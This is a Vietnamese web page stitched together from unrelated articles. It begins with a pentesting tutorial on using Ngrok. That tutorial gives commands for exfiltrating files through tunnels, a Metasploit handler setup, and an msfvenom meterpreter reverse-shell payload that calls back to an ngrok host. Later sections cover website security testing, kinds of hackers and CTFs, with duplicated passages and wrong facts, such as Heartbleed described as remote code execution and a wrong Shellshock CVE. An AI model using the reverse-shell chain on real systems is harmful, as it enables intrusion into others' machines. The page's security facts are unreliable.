Cấu hình Ngrok

Để sử dụng Ngrok, bạn cần có tài khoản. Truy cập https://ngrok.com/ và tạo tài khoản bằng email hoặc sử dụng tùy chọn Google | Github Oauth. Tiếp theo, tải xuống tệp cài đặt Ngrok bằng cách truy cập Setup & Installation, sau đó nhấp chuột phải vào tùy chọn Download for Linux và sao chép địa chỉ liên kết:

Tiếp theo, vào Terminal của máy tấn công và wget tệp ZIP Ngrok. Sau đó giải nén, thêm quyền thực thi và cuối cùng di chuyển tệp Ngrok sang /usr/local/bin/:

cd /tmp
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
chmod +x ngrok
sudo mv ngrok /usr/local/bin/

LƯU Ý: Liên kết trên có khả năng không hoạt động với bạn. Sử dụng liên kết bạn đã sao chép từ trang chủ Ngrok.

Cấu hình AuthToken

Bây giờ bạn đã cài đặt xong Ngrok, chúng ta cần cung cấp cho Ngrok mã xác thực (authentication token) được cung cấp trong web của Ngrok. Truy cập tab Your Authtoken từ trong tài khoản của bạn:

Và sau đó sao chép Authtoken:

Cuối cùng, hãy chạy lệnh sau để định cấu hình Ngrok sử dụng Authtoken này:

ngrok authtoken 'AUTHTOKEN_GOES_HERE'

Các trường hợp sử dụng Ngrok cho Pentester trên Kali Linux

Dưới đây là một số trường hợp sử dụng Ngrok trong quá trình Pentest.

Truyền tệp bằng Netcat

Chuyển các tệp sang một máy không nằm trong mạng nội bộ của bạn là không thể nhưng cho đến khi bạn biết đến Ngrok. Để cung cấp dịch vụ Netcat qua Internet với Ngrok, hãy thực hiện các bước sau:

1. Thiết lập trình nghe Netcat trên một cổng bạn chọn

2. Chạy Ngrok bằng lệnh tcp và chỉ định cổng bạn đã sử dụng để khởi động Netcat

Sau khi nhấn enter, trang tổng quan trạng thái phiên của Ngrok sẽ xuất hiện từ đó bạn có thể lấy URL:

3. Trên máy đích, sử dụng URI do Ngrok cung cấp để truyền tệp bằng Netcat. Lưu ý rằng URI tcp:// không được sử dụng khi chỉ định URL cho Netcat. Và đừng quên xóa: và thay thế bằng dấu cách:

Truyền File bằng máy chủ HTTP

Đôi khi bạn muốn chuyển tệp bằng các máy chủ HTTP đơn giản như mô-đun http.server của Python. Để chuyển tệp từ máy cục bộ của bạn qua Internet bằng máy chủ HTTP được lưu trữ cục bộ, hãy thực hiện các bước sau:

1. Khởi động máy chủ HTTP trên cổng bạn muốn

2. Chạy Ngrok bằng lệnh http và chỉ định cổng bạn đã sử dụng để khởi động máy chủ HTTP trên

3. Trên máy đích, sử dụng URI do Ngrok cung cấp để tải tệp

curl -o file.txt a96c-73-30-177-39.ngrok.io/file.txt

Metasploit Reverse Shells qua Internet

Việc tạo tải trọng Msfvenom với địa chỉ IP cục bộ sẽ hạn chế bạn bằng cách chỉ cho phép bạn tạo tải trọng cho các máy cục bộ. Để tạo tải trọng cho một máy từ xa kết nối lại qua Internet với Metasploit cục bộ của bạn, hãy thực hiện các bước sau:

1. Chạy Ngrok và chỉ định cổng cục bộ mà trình xử lý sẽ lắng nghe

2. Khởi động trình xử lý Metasploit và định cấu hình các tùy chọn ReverseListenerBindAddress và ReverseListenerBindPort để khi kết nối, chúng sẽ chuyển tiếp lưu lượng đến localhost:4444:

use exploit/multi/handler
set lhost 6.tcp.ngrok.io
set lport 16737
set payload linux/x64/meterpreter/reverse_tcp
set ReverseListenerBindAddress 127.0.0.1
set ReverseListenerBindPort 4444
run -j

3. Tạo tải trọng Msfvenom và chỉ định URI do Ngrok cung cấp làm tham số LHOST

msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o revsh LHOST=6.tcp.ngrok.io LPORT=16737

4. Chuyển tệp sang máy nạn nhân và sau đó chạy tải trọng. Bạn sẽ nhận được kết nối trở lại trên trình xử lý Metasploit cục bộ của mình:

LƯU Ý: Hãy cẩn thận khi sử dụng Ngrok cho các reverse shell. Nếu không được xử lý, bạn có thể vô tình để lộ mạng của khách hàng trước những kẻ xấu.

Kiểm tra lỗi hổng tương tác dịch vụ

Kiểm tra các tương tác máy chủ bên ngoài như giả mạo yêu cầu phía máy chủ (SSRF) có thể nhanh chóng thực hiện bằng cách sử dụng Ngrok. Chỉ cần tạo một trình nghe Ngrok trên bất kỳ cổng nào bạn muốn và sau đó sử dụng URL được cung cấp để đưa vào các thông số có khả năng dễ bị tấn công như tiêu đề HTTP, thông số chuyển hướng URL,… để cố gắng tìm lỗ hổng tương tác dịch vụ OOD:

Sau đó, chúng ta có thể mô phỏng một dịch vụ OOB với cURL:

Như bạn  có thể thấy, một số yêu cầu GET đã được gửi đến trình nghe Ngrok, có thể được sử dụng để xác nhận các lỗ hổng như SSRF.

Ngoài ra, bạn cũng có thể sử dụng RAT mà không cần mở Port bằng Ngrok tại đây.

Câu hỏi thường gặp

Ngrok là gì và tại sao nó hữu ích cho Pentest?

Ngrok là một công cụ tạo đường hầm HTTP/TCP, cho phép bạn tiếp cận các dịch vụ trên máy tính cá nhân của mình từ Internet mà không cần phải cấu hình NAT port phức tạp hoặc tiết lộ địa chỉ IP công cộng. Điều này rất hữu ích trong Pentest để dễ dàng kiểm tra các ứng dụng từ xa.

Tôi cần làm gì sau khi cài đặt Ngrok?

Sau khi cài đặt, bạn cần xác thực tài khoản Ngrok của mình bằng Authtoken. Bạn có thể lấy Authtoken từ trang cá nhân trên website Ngrok và sử dụng lệnh ngrok authtoken 'YOUR_AUTHTOKEN' để cấu hình.

Ngrok có an toàn không khi sử dụng cho reverse shell?

Cần thận trọng khi sử dụng Ngrok cho reverse shell vì nó có thể làm lộ mạng của khách hàng nếu không được xử lý cẩn thận. Hãy đảm bảo tuân thủ các nguyên tắc bảo mật và chỉ sử dụng trên các hệ thống mà bạn có quyền truy cập hợp pháp.

Kiểm tra bảo mật Website là gì và các tính năng của nó là gì?

Mục tiêu của kiểm tra bảo mật Website là để đánh giá tính bảo mật của một Website hoặc ứng dụng web. Đánh giá bảo mật Website có thể được sử dụng để xác định các lỗ hổng trong hệ thống và xác định liệu kẻ tấn công có thể khai thác các lỗ hổng đó để truy cập vào dữ liệu nhạy cảm hoặc thực hiện các hành động độc hại khác hay không. Kiểm tra thâm nhập, kiểm tra mã và quét lỗ hổng bảo mật là ba trong số các quy trình kiểm tra bảo mật Website phổ biến nhất.

• Kiểm tra thâm nhập (còn được gọi là “Pentest”) là một trong những đánh giá bảo mật ứng dụng web được thực hiện thường xuyên nhất. Chúng liên quan đến việc sử dụng các công cụ tự động hoặc các kỹ thuật thủ công để cố gắng khai thác các điểm yếu trong hệ thống. Nếu thành công, điều này có thể cung cấp cho kẻ tấn công toàn quyền kiểm soát hệ thống và cho phép chúng truy cập vào dữ liệu nhạy cảm hoặc thực hiện các hành động độc hại khác.
• Code reviews – đây là loại kiểm tra theo dạng White box, bạn đang cung cấp đầy đủ mã nguồn của Website để kiểm tra xem Code có lỗ hổng nào không. Đây là một loại kiểm tra thâm nhập yêu cầu kiểm tra thủ công mã nguồn của hệ thống để tìm các sai sót. Nó có thể tốn thời gian, nhưng nó thường đáng giá cao vì việc xem xét mã có thể phát hiện ra những sai sót mà các loại kiểm tra khác sẽ bỏ sót.
• Quét lỗ hổng bảo mật là một loại kiểm tra bảo mật Website phổ biến khác. Chúng liên quan đến việc sử dụng các công cụ tự động để quét hệ thống tìm các lỗ hổng đã biết. Đây thường là một cách nhanh chóng và dễ dàng để tìm ra các điểm yếu tiềm ẩn trong hệ thống, nhưng điều quan trọng cần lưu ý là không phải tất cả các lỗ hổng đều được máy quét lỗ hổng tìm thấy.

Tại sao Kiểm tra Bảo mật Website lại quan trọng?

Điều quan trọng là phải tiến hành kiểm tra bảo mật Website vì nó giúp bạn phát hiện ra các lỗ hổng trong hệ thống của mình trước khi kẻ tấn công thực hiện. Bằng cách phát hiện và sửa chữa những lỗ hổng này, bạn có thể làm cho Website an toàn hơn trước Hacker. Ngoài ra, kiểm tra bảo mật Website cũng có thể giúp bạn đáp ứng các yêu cầu tuân thủ, chẳng hạn như các yêu cầu do Ngành thẻ thanh toán (PCI) đặt ra cho các Website xử lý thanh toán bằng thẻ tín dụng.

Điều gì xảy ra nếu Kiểm tra Bảo mật Website không được thực hiện thường xuyên

Nếu kiểm tra bảo mật Website không được thực hiện, thì rất có thể các lỗ hổng sẽ không được chú ý và chưa được vá. Điều này có nghĩa là những kẻ tấn công sẽ có thời gian dễ dàng hơn khi khai thác những điểm yếu này và giành quyền truy cập vào dữ liệu nhạy cảm hoặc thực hiện các hành động độc hại khác. Ngoài ra, nếu kiểm tra bảo mật Website không được thực hiện thường xuyên, thì các lỗ hổng bảo mật mới có thể xuất hiện theo thời gian khi các tính năng mới được thêm vào hệ thống hoặc phần mềm mới được cài đặt.

Cách kiểm tra bảo mật Website – Các bước:

Bây giờ chúng ta đã xem xét kiểm tra bảo mật Website là gì và tại sao nó lại quan trọng, hãy cùng xem cách kiểm tra bảo mật Website. Nói chung, có bốn bước mà bạn sẽ cần làm theo:

Bây giờ chúng ta đã xem xét kiểm tra bảo mật Website là gì và tại sao nó lại quan trọng, hãy cùng xem cách kiểm tra bảo mật Website. Nói chung, có bốn bước mà bạn sẽ cần làm theo:

Lập kế hoạch kiểm tra

Bước đầu tiên trong kiểm tra bảo mật Website là lập kế hoạch kiểm tra của bạn. Điều này liên quan đến việc quyết định loại thử nghiệm bạn muốn chạy, phạm vi bạn muốn thử nghiệm và những tài nguyên nào bạn sẽ cần.

Có một số loại kiểm tra bảo mật Website khác nhau, mặc dù những loại kiểm tra thường xuyên nhất bao gồm kiểm tra thâm nhập, đánh giá mã (review code) và quét lỗ hổng bảo mật. Bạn cũng sẽ cần chọn một phạm vi cho thử nghiệm của mình. Điều này có nghĩa là quyết định hệ thống và ứng dụng nào bạn muốn kiểm tra và những hệ thống và ứng dụng nào bạn muốn loại trừ.

Cuối cùng, bạn sẽ cần thu thập các tài nguyên cần thiết cho bài kiểm tra của mình. Điều này bao gồm những thứ như công cụ kiểm tra, tài liệu và bất kỳ tài liệu cần thiết nào khác.

Chuẩn bị

Giai đoạn tiếp theo là chuẩn bị cho việc kiểm tra của bạn như thiết lập môi trường thử nghiệm và đảm bảo tất cả các công cụ và tài liệu cần thiết đều có sẵn.

Để bắt đầu, bạn cần xây dựng thiết lập thử nghiệm của mình như một môi trường thử nghiệm riêng biệt bị ngắt kết nối với môi trường thật. Điều này rất quan trọng vì nó đảm bảo rằng bất kỳ thay đổi hoặc sửa đổi nào được thực hiện trong quá trình thử nghiệm không ảnh hưởng đến các hệ thống đang hoạt động.

Do đó, bạn sẽ cần thu thập các thiết bị và thủ tục giấy tờ cần thiết. Điều này bao gồm những thứ như công cụ thử nghiệm, trường hợp thử nghiệm và bất kỳ tài liệu liên quan nào khác.

Cuối cùng, bạn sẽ cần phải lập một kế hoạch kiểm tra cùng nhau. Tài liệu này phải phác thảo các mục tiêu của thử nghiệm, phạm vi thử nghiệm và các nguồn lực mà bạn sẽ cần.

Kiểm tra hệ thống

Khi mọi thứ đã chuẩn bị xong, bạn có thể bắt đầu thực hiện các bài kiểm tra của mình. Điều này liên quan đến việc chạy bài test hệ thống đã chọn và ghi lại kết quả.

Có nhiều loại kiểm tra bảo mật Website khác nhau, nhưng kiểm tra thâm nhập, đánh giá mã và quét lỗ hổng bảo mật là những loại phổ biến nhất.

Các bài kiểm tra thâm nhập được sử dụng để mô phỏng các cuộc tấn công trong thế giới thực và xác định các lỗ hổng có thể bị khai thác bởi những kẻ tấn công.

Đánh giá mã được sử dụng để kiểm tra mã nguồn của các ứng dụng và xác định các điểm yếu tiềm ẩn về bảo mật.

Quét lỗ hổng bảo mật được sử dụng để quét các hệ thống và ứng dụng để tìm các lỗ hổng đã biết.

Báo cáo

Cuối cùng, bạn sẽ cần báo cáo về những phát hiện của mình. Điều này liên quan đến việc viết một báo cáo về những phát hiện của bạn và trình bày nó cho các bên liên quan có liên quan.

Báo cáo của bạn nên bao gồm bản tóm tắt các phát hiện của bạn, cũng như chi tiết về bất kỳ lỗ hổng bảo mật nào đã được xác định. Điều quan trọng cần lưu ý là không phải tất cả các lỗ hổng đều nghiêm trọng và bạn nên ưu tiên chúng dựa trên mức độ nghiêm trọng của chúng.

Bạn cũng nên bao gồm các khuyến nghị để khắc phục, là các hành động có thể được thực hiện để giải quyết các lỗ hổng bảo mật đã được xác định.

Một số lỗ hổng chính được tìm thấy thông qua kiểm tra bảo mật Website là gì?

Đã có nhiều lỗ hổng chính được tìm thấy thông qua kiểm tra bảo mật Website trong những năm qua. Một số trong những cái đáng chú ý nhất bao gồm:

– Heartbleed (CVE-2014-0160): Đây là một lỗ hổng nghiêm trọng trong thư viện phần mềm OpenSSL đã ảnh hưởng đến nhiều Website và ứng dụng web. Nó cho phép những kẻ tấn công thực thi mã từ xa trên các hệ thống đang chạy các phiên bản OpenSSL dễ bị tấn công.

– Poodle (CVE-2014-3566): Đây là một lỗ hổng nghiêm trọng trong SSLv34 đã ảnh hưởng đến nhiều Website và ứng dụng web. Nó cho phép những kẻ tấn công giải mã từ xa lưu lượng được cho là được mã hóa bởi SSLv34.

– Shellshock (CVE-2014-2716): Đây là một lỗ hổng nghiêm trọng trong Bash shell ảnh hưởng đến nhiều Website và ứng dụng web.

– GHOST (CVE-2015-0235): Đây là một lỗ hổng nghiêm trọng trong thư viện glibc đã ảnh hưởng đến nhiều Website và ứng dụng web.

Công ty nào cung cấp thử nghiệm bảo mật Website?

Có rất nhiều công ty cung cấp dịch vụ kiểm tra bảo mật Website. Một số công ty nổi tiếng như:

• WhiteHat Security: WhiteHat Security là nhà cung cấp dịch vụ kiểm tra bảo mật Website hàng đầu.
• Astra’s Pentest: Astra’s Pentest là một nhà cung cấp dịch vụ kiểm tra bảo mật Website phổ biến khác. Họ cung cấp cả thử nghiệm tự động và thủ công, cũng như thử nghiệm thâm nhập mạng và thiết bị di động với mức giá khá hợp lý.
• RapidScan: RapidScan là nhà cung cấp hàng đầu các dịch vụ kiểm tra bảo mật Website tự động. Các chuyên gia bảo mật thực hiện kiểm tra kỹ lưỡng lỗ hổng bảo mật, tích hợp tường lửa ứng dụng web an toàn, v.v.
• Nessus: Nessus là nhà cung cấp dịch vụ quét lỗ hổng bảo mật phổ biến. Kiểm tra thâm nhập dựa trên web và đánh giá bảo mật có sẵn.
• Veracode: Một nhà cung cấp dịch vụ kiểm tra bảo mật Website nổi bật khác là Veracode. Họ cung cấp cả xác minh tĩnh và động.
• Qualys: Qualys là nhà cung cấp hàng đầu về các giải pháp quản lý lỗ hổng bảo mật và tuân thủ. Họ cung cấp nhiều loại sản phẩm, bao gồm quét ứng dụng web, có thể được sử dụng để kiểm tra các lỗ hổng trong các Website và ứng dụng web.

Các tính năng hàng đầu của các công ty kiểm tra bảo mật Website là gì?

Khi chọn một công ty kiểm tra bảo mật Website, bạn cần lưu ý các vấn đề sau:

• Kiểm tra tự động hoặc thủ công: Một số công ty chỉ cung cấp kiểm tra tự động, trong khi những công ty khác cũng cung cấp kiểm tra thủ công.
• Thử nghiệm tĩnh hoặc động: Một số công ty chỉ cung cấp thử nghiệm tĩnh, trong khi những công ty khác cũng cung cấp thử nghiệm động.
• Dịch vụ bảo mật đa dạng: Một số công ty chỉ cung cấp thử nghiệm bảo mật Website, trong khi những công ty khác cũng cung cấp một loạt các dịch vụ bảo mật khác. Nếu bạn muốn được bảo vệ toàn diện nhất có thể, thì bạn nên chọn một công ty cung cấp nhiều dịch vụ bảo vệ.

Bạn có thể chắc chắn thuê doanh nghiệp kiểm tra bảo mật Website tốt nhất cho nhu cầu của mình nếu bạn ghi nhớ những đặc điểm này.

Lời kết

Kiểm tra bảo mật Website của bạn là điều quan trọng để đảm bảo an toàn cho dữ liệu của bạn và dữ liệu của người dùng. Có rất nhiều công ty cung cấp dịch vụ kiểm tra bảo mật Website, vì vậy hãy đảm bảo chọn một công ty cung cấp các tính năng bạn cần.

Nếu bạn không tiến hành kiểm tra bảo mật một cách thường xuyên, bạn đang tự đặt mình vào rủi ro. Các lỗ hổng mới liên tục được phát hiện và nếu bạn không kiểm tra chúng, thì bạn có thể là nạn nhân tiếp theo. Có rất nhiều công ty cung cấp dịch vụ kiểm tra bảo mật Website, vì vậy hãy đảm bảo chọn một công ty phù hợp với nhu cầu của bạn.

Câu hỏi thường gặp

Kiểm tra bảo mật website có thực sự cần thiết không?

Hoàn toàn cần thiết! Kiểm tra bảo mật giúp phát hiện và vá các lỗ hổng trước khi hacker tấn công, bảo vệ dữ liệu và danh tiếng website của bạn. Việc này cũng giúp đáp ứng các yêu cầu tuân thủ về bảo mật.

Tôi nên kiểm tra bảo mật website thường xuyên như thế nào?

Tần suất kiểm tra phụ thuộc vào độ phức tạp của website và mức độ nhạy cảm của dữ liệu. Tuy nhiên, ít nhất nên thực hiện định kỳ hàng năm, hoặc thường xuyên hơn nếu có cập nhật lớn về phần mềm hoặc tính năng.

Những loại kiểm tra bảo mật website phổ biến là gì?

Ba loại phổ biến gồm: Kiểm tra thâm nhập (Pentest), đánh giá mã nguồn (Code review) và quét lỗ hổng bảo mật. Mỗi loại đều có ưu điểm riêng và thường được kết hợp để đảm bảo hiệu quả tối đa.

Chính xác thì Hacker là gì?

Hacker là một từ đã được sử dụng lại và nghĩa gốc của nó gần như bị xóa bỏ hoàn toàn. Nó từng có nghĩa là một lập trình viên có năng khiếu, được định hướng. Hacker thực tế bị ám ảnh bởi lập trình, đến mức có thể tách biệt khỏi cuộc sống xã hội bình thường. Họ theo đuổi kiến ​​thức về cách hoạt động bên trong của máy tính, mạng và — trên hết — là phần mềm. Ngoài việc thiếu tương tác xã hội, hacker không được coi là một kẻ xấu.

Với sự phổ biến của CNTT, tội phạm mạng đã trở thành một vấn nạn. Những người có kỹ năng để gây ra các vụ tấn công mạng là hacker, và vì vậy thuật ngữ hacker đã trở nên có ý nghĩa như ngày nay. Nếu bạn yêu cầu ai đó giải thích hacker là gì thì họ sẽ mô tả một người có kiến ​​thức sâu rộng về máy tính, hệ điều hành và lập trình cũng như ý định truy cập vào các hệ thống máy tính.

Nhưng định nghĩa mới về hacker cũng chia hacker thành nhiều loại khác nhau. Có nột số người cố gắng xâm nhập hệ thống mạng là những người tốt và ngược lại. Vậy nên chúng ta có 2 loại hacker:

• Hacker mũ đen là những kẻ xấu thực sự. Họ là những kẻ xâm nhập mạng và thực hiện các hành động phạm tội. Họ cố gắng kiếm tiền thông qua các hoạt động bất hợp pháp.
• Hacker mũ trắng thì khác, họ có quyền xâm nhập mạng. Họ được thuê để kiểm tra tính bảo mật của công ty.

Tuy nhiên, trong cuộc sống, mọi thứ hiếm khi chỉ có hai màu đen và trắng.

• Hacker mũ xám hành xử giống như một tin tặc mũ trắng, nhưng họ không xin phép trước. Họ kiểm tra tính bảo mật của công ty và báo cáo cho doanh nghiệp với hy vọng được trả tiền thưởng. Họ vi phạm pháp luật — hack hệ thống mà không được phép là bất hợp pháp, ngay cả khi công ty biết ơn và trả tiên cho bạn.
• Hacker mũ xanh là người không có kỹ năng, nhưng họ biết cách sử dung các phần mềm tấn công yêu cầu kỹ năng thấp, chẳng hạn như chương trình tấn công DDOS. Họ sử dụng nó để chống lại một doanh nghiệp. Thường là để trả thù như một nhân viên cũ bất mãn có thể sử dụng các chiến thuật như vậy.
• Hacker mũ đỏ là cảnh sát duy nhất trong thế giới hacker. Họ là những tin tặc nhắm mục tiêu vào những tin tặc mũ đen. Giống như mũ xám, mũ đỏ đang sử dụng những phương pháp bất hợp pháp. Giống như Marvel’s Punisher, họ hoạt động bên ngoài luật pháp và không chịu trừng phát, thực hiện thứ công lý mà họ cho là đúng.
• Hacker mũ xanh là một người có tham vọng trở thành một hacker. Họ là những người muốn trở thành mũ đen.

Hacker tội phạm và Hacker chuyên nghiệp

Tin tặc chuyên nghiệp có thể là những tin tặc có đạo đức (White Hat) khi làm việc, sẵn sàng kiểm tra khả năng phòng thủ của bất kỳ công ty nào và thử độ bảo mật của họ. Họ có thể là những tin tặc làm việc cho các công ty bảo mật lớn hơn, thực hiện cùng một vai trò nhưng làm việc thường xuyên hơn.

Các tổ chức có thể trực tiếp sử dụng các tin tặc của riêng họ. Họ làm việc cùng với các đối tác của mình trong lĩnh vực hỗ trợ CNTT để liên tục thăm dò, kiểm tra và cải thiện an ninh mạng của tổ chức.

Đội đỏ cố gắng tấn công vào tổ chức của chính họ và đội xanh thì ngăn chặn cuộc tấn công đó. Thường thì bạn sẽ cố định ở một đội duy nhất. Nhưng các tổ chức khác thích khuấy động mọi thứ bằng cách di chuyển nhân viên giữa các đội để tấn công lẫn nhau.

Đôi khi các tác nhân đe dọa chuyển sang làm bảo mật chính thống. Những nhân vật trong ngành như Kevin Mitnick – từng là hacker được truy nã gắt gao nhất thế giới – điều hành các công ty tư vấn bảo mật của riêng họ.

Các hacker nổi tiếng khác đã được săn tuyển vào các công việc chính thống, chẳng hạn như Peiter Zatko, thành viên một thời của hack Cult of the Dead Cow. Vào tháng 11 năm 2020, ông gia nhập Twitter với tư cách là người đứng đầu bộ phận bảo mật sau các nhiệm kỳ tại Stripe, Google và Cơ quan Nghiên cứu và Dự án Quốc phòng Tiên tiến của Lầu Năm Góc.

Charlie Miller, được biết đến với việc vạch trần các lỗ hổng trong các sản phẩm của Apple và hack hệ thống lái và tăng tốc trên xe Jeep Cherokee, đã làm việc ở các vị trí bảo mật cấp cao tại NSA, Uber và Cruise Automation.

Nhưng cũng có rất nhiều trường hợp mọi người không thể kiếm được việc làm trong lĩnh vực an ninh mạng vì những sai lầm mà họ đã mắc phải trong quá khứ.

Một số tin tặc chuyên nghiệp làm việc cho — và được huấn luyện bởi — các cơ quan tình báo của chính phủ hoặc các đối tác quân sự. Các đội đặc nhiệm do chính phủ phê chuẩn được giao nhiệm vụ thực hiện các hoạt động thu thập thông tin tình báo, phòng thủ và tấn công mạng để đảm bảo an ninh quốc gia và chống khủng bố.

Hacker khi bị bắt

Tất cả các quốc gia có năng lực về mặt kỹ thuật đều có các đơn vị tình báo mạng. Họ thu thập, giải mã và phân tích các thông tin tình báo quân sự và phi quân sự về chiến lược, hoạt động và chiến thuật. Họ cung cấp phần mềm giám sát và tấn công thay mặt cho nhà nước tiến hành các nhiệm vụ gián điệp. Họ là những người trong bóng tối, nơi kẻ thù đang cố gắng làm điều tương tự với bạn. Họ muốn thâm nhập vào hệ thống của bạn giống như bạn muốn truy cập vào hệ thống của họ. Các đối tác của bạn đang phát triển các công cụ phần mềm phòng thủ và tấn công, đồng thời cố gắng phát hiện và tận dụng các cuộc tấn công zero-day, giống như bạn.

Shift5 là một công ty khởi nghiệp an ninh mạng được thành lập bởi hai cựu nhân viên Cơ quan An ninh Quốc gia. Họ không chỉ làm việc trong NSA mà còn làm việc trong đơn vị Tailored Access Operations. Đây là một trong những bộ phận bí mật nhất của NSA. Shift5 hứa hẹn cung cấp công nghệ giúp bảo vệ cơ sở hạ tầng quan trọng của Hoa Kỳ. Họ đã công bố một vòng tài trợ trị giá 20 triệu đô la vào tháng 10 năm 2021.

Lực lượng Phòng vệ Israel tương đương với NSA là Đơn vị 8200. Đơn vị 82 hay Đơn vị (Unit) là nhóm tình báo quân sự nổi tiếng của Israel. Các cựu sinh viên của Đơn vị 82, và nhóm bí mật bên trong được gọi là Đơn vị 81, đã thành lập hoặc đồng sáng lập một số công ty công nghệ thành công nhất. Check Point Software, Palo Alto Networks và CyberArk đều có các thành viên sáng lập cũ là Unit. Đây là những công ty thành công được dẫn dắt bởi những bộ não kỹ thuật thông minh nhất.

Các biến chứng nảy sinh khi các cựu nhân viên tình báo Hoa Kỳ được làm việc ở nước ngoài. Hai công dân Hoa Kỳ và một cựu công dân Hoa Kỳ đã gây chú ý gần đây khi có thông tin tiết lộ rằng họ đã làm việc cho nhóm DarkMatter, được thành lập tại Các Tiểu vương quốc Ả Rập Thống nhất. DarkMatter điều hành chương trình giám sát khét tiếng Project Raven cho chính phủ các Tiểu vương quốc.

Vào tháng 9 năm 2021, Marc Baier, Ryan Adams, Daniel Gericke đã tham gia vào một thỏa thuận truy tố hoãn lại hạn chế các hoạt động việc làm trong tương lai và yêu cầu thanh toán chung 1,68 triệu đô la tiền phạt.

Kỹ năng hấp dẫn trong thị trường còn hạn chế

Các công ty thuê những cựu tin tặc có kinh nghiệm để phục vụ công ty. Nhưng nếu bạn tham gia vào các hoạt động an ninh mạng cho một cơ quan nhà nước hoặc quân đội, bạn cần hiểu các giới hạn và kiểm soát được bản thân để đảm bảo bạn cung cấp dịch vụ của mình cho các tổ chức và cho các mục đích hợp pháp.

Nếu bạn lo lắng mình trở thành mục tiêu của hacker thì có thể sử dụng các biện pháp sau đây.

Câu hỏi thường gặp

Tại sao các công ty lại thuê hacker?

Các công ty thuê hacker mũ trắng (ethical hackers) để đánh giá và cải thiện khả năng bảo mật hệ thống của họ. Những chuyên gia này có kỹ năng thâm nhập hệ thống, giúp phát hiện lỗ hổng bảo mật trước khi tin tặc mũ đen có thể lợi dụng.

Có những loại hacker nào?

Có nhiều loại hacker, từ hacker mũ trắng (có đạo đức) làm việc để bảo vệ hệ thống, đến hacker mũ đen (phi đạo đức) thực hiện các hoạt động tấn công bất hợp pháp. Ngoài ra còn có hacker mũ xám (hoạt động ngoài phạm vi cho phép) và các loại khác với mục đích và phương thức hoạt động khác nhau.

Liệu việc thuê hacker có an toàn không?

Việc thuê các hacker mũ trắng từ các công ty bảo mật uy tín là an toàn. Họ được đào tạo bài bản và có kinh nghiệm trong việc kiểm tra bảo mật mà không gây hại cho hệ thống. Tuy nhiên, cần lựa chọn kỹ càng để tránh rủi ro.

Liệu bạn có nghĩ các hacker ngoài đời đều “chiến đấu” với nhau bằng cách trên không? Trong bài viết này, mình sẽ giải mã cho các bạn biết nhé.

Cuộc chiến của các Hacker trong thế giới thực

Những cảnh phim đó là những hình ảnh miêu tả sai lầm về các cuộc tấn công trong thế giới điện ảnh. Nơi việc xâm nhập vào các hệ thống máy tính từ xa diễn ra chỉ trong chốc lát, kèm theo một loạt các dòng chữ màu xanh lá cây vô nghĩa và các cửa sổ được bật lên một cách ngẫu nhiên.

Trên thực tế các cuộc tấn công diễn ra ít kịch tính hơn rất nhiều. Hacker và những người nhà kiểm thử bảo mật (Pentester) dành thời gian để tìm hiểu hệ thống mục tiêu. Họ cố gắng tìm ra cấu trúc liên kết mạng, cũng như phần mềm và thiết bị đang được sử dụng. Sau đó, họ sẽ tìm ra cách có thể khai thác những thứ đó.

Quên đoạn phim trên của NCIS đi nhé. Các nhóm an ninh mạng tập trung phòng thủ bằng cách đảm bảo tất cả các hệ thống đều an toàn và hoạt động chính xác. Nếu một Hacker bằng cách nào đó có thể xâm nhâp vào hệ thống phòng thủ bên ngoài, IPS (Hệ thống ngăn chặn xâm nhập) và IDS (Hệ thống phát hiện xâm nhập) sẽ tự động can thiệp để hạn chế thiệt hại.

Các hệ thống trên đều tự động bởi vì rất ít cuộc tấn công nhắm vào 1 mục tiêu cụ thể. Đúng hơn, bản chất của hacker là những kẻ tìm kiếm cơ hội. Bất kỳ ai cũng có thể cấu hình máy chủ để dò tìm lỗ hổng trên mạng internet, và tổ chức các cuộc tấn công theo kịch bản có sẵn. Có rất nhiều máy chủ như vậy tồn tại trên khắp thế giới, vậy nên nếu xử lý từng vấn đề theo cách thủ công là điều hoàn toàn không thể.

Hầu hết sự tham gia của con người đều đến trong khoảnh khắc sau khi hệ thống phòng thủ bên ngoài bị phá vỡ. Lúc này, hõ sẽ cố gắng tìm điểm Hacker tấn công vào hệ thống và đóng nó để Hacker không thể sử dụng lại. Các nhóm ứng phó sự cố cũng sẽ cố gắng thống kê thiệt hại, cách khắc phục và liệu có bất kỳ vấn đề bảo mật nào cần được giải quyết hay không.

Capture the Flag (CTF)

Tuy nhiên, các Hacker đôi khi thực hiện cuộc tấn công trong thời gian thực, thường là vì gặp tình huống khó khăn mà công cụ không tự thực hiện tấn công được nữa.

Mình đang nói về các cuộc thi Capture the Flag (CTF). Những điều cuộc thi này thường diễn ra tại các hội nghị infosec, như các sự kiện BSides khác nhau. Ở đó, các Hacker cạnh tranh với nhau để hoàn thành thử thách trong một khoảng thời gian nhất định. Càng chiến thắng nhiều thử thách, họ càng nhận được nhiều điểm.

Có hai loại cuộc thi CTF. Loại thứ nhất là Đội Đỏ, (Hacker hoặc một nhóm trong số họ) cố gắng xâm nhập thành công vào các hệ thống được chỉ định không có khả năng phòng thủ chủ động. Hình thức bảo vệ của hệ thống sẽ được ban tổ chức giới thiệu trước cuộc thi.

Loại cuộc thi thứ hai là giữa Đội Đỏ tấn công với Đội Xanh phòng thủ (Red team, Blue Team là gì?). Đội Đỏ ghi điểm bằng cách thâm nhập thành công hệ thống mục tiêu, trong khi Đội Xanh được đánh giá dựa trên mức độ hiệu quả khi làm chệch hướng các cuộc tấn công này.

Cũng có các thử thách khác nhau giữa sự kiện, nhưng chúng thường được thiết kế để kiểm tra các kỹ năng mà các chuyên gia bảo mật sử dụng hàng ngày như lập trình, khai thác các lỗ hổng đã biết trong hệ thống và dịch ngược.

Mặc dù các sự kiện CTF khá cạnh tranh. Nhưng Hacker, về bản chất, là những người ham học hỏi và cũng có xu hướng sẵn sàng chia sẻ kiến ​​thức của họ với người khác. Vì vậy, không có gì lạ khi đội đối phương hoặc khán giả chia sẻ thông tin có thể giúp ích cho đối thủ.

Các cuộc thi CTF từ xa

Do COVID-19, nên tất cả các hội nghị bảo mật trực tiếp năm 2020 đã bị hủy bỏ hoặc hoãn lại. Tuy nhiên, mọi người vẫn có thể tham gia sự kiện CTF trong khi tuân thủ các quy định giãn cách xã hội.

